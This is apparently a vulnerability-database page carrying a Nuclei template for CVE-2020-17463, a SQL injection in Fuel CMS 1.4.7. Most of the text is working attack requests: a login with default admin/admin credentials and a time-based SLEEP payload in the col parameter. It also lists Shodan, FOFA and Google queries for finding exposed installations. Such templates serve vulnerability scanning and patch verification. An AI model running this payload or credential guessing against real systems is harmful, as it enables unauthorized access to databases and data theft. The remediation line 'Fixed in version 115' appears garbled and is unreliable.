CVE-2020-17463: Fuel CMS 1.4.7 - SQL Injection

2025-08-01 Fuel CMS PoC Public

Description

FUEL CMS 1.4.7 allows SQL Injection via the col parameter to /pages/items, /permissions/items, or /navigation/items.

PoC

id: CVE-2020-17463

info:
  name: Fuel CMS 1.4.7 - SQL Injection
  author: Thirukrishnan
  severity: critical
  description: |
    FUEL CMS 1.4.7 allows SQL Injection via the col parameter to /pages/items, /permissions/items, or /navigation/items.
  impact: |
    Successful exploitation of this vulnerability allows an attacker to execute arbitrary SQL queries, potentially leading to unauthorized access, data manipulation, or data leakage.
  remediation: Fixed in version 115
  reference:
    - https://www.exploit-db.com/exploits/48741
    - https://nvd.nist.gov/vuln/detail/CVE-2020-17463
    - http://packetstormsecurity.com/files/158840/Fuel-CMS-1.4.7-SQL-Injection.html
    - https://getfuelcms.com/
    - https://cwe.mitre.org/data/definitions/89.html
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2020-17463
    cwe-id: CWE-89
    epss-score: 0.89689
    epss-percentile: 0.9978
    cpe: cpe:2.3:a:thedaylightstudio:fuel_cms:1.4.7:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 3
    vendor: thedaylightstudio
    product: fuel_cms
    shodan-query: http.title:"fuel cms"
    fofa-query: title="fuel cms"
    google-query: intitle:"fuel cms"
  tags: time-based-sqli,cve,cve2020,packetstorm,sqli,fuel-cms,kev,thedaylightstudio,vkev,vuln

http:
  - raw:
      - |
        GET /fuel/login/ HTTP/1.1
        Host: {{Hostname}}
      - |
        POST /fuel/login/ HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded
        Referer: {{RootURL}}

        user_name={{username}}&password={{password}}&Login=Login&forward=
      - |
        @timeout: 10s
        GET /fuel/pages/items/?search_term=&published=&layout=&limit=50&view_type=list&offset=0&order=asc&col=location+AND+(SELECT+1340+FROM+(SELECT(SLEEP(6)))ULQV)&fuel_inline=0 HTTP/1.1
        Host: {{Hostname}}
        X-Requested-With: XMLHttpRequest
        Referer: {{RootURL}}

    payloads:
      username:
        - admin
      password:
        - admin
    attack: pitchfork
    matchers:
      - type: dsl
        dsl:
          - 'duration>=6'
          - 'status_code_3 == 200'
          - 'contains(body_1, "FUEL CMS")'
        condition: and
# digest: 4b0a00483046022100a781842e2a8c618a778a201db11b20ac7df2860c03ef90b6588c4ae8d31e1f840221008431174cbb90656260898f271907eb269b232b1fd31af793cef092b357f4115b:922c64590222798bb761d5b6d8e72950

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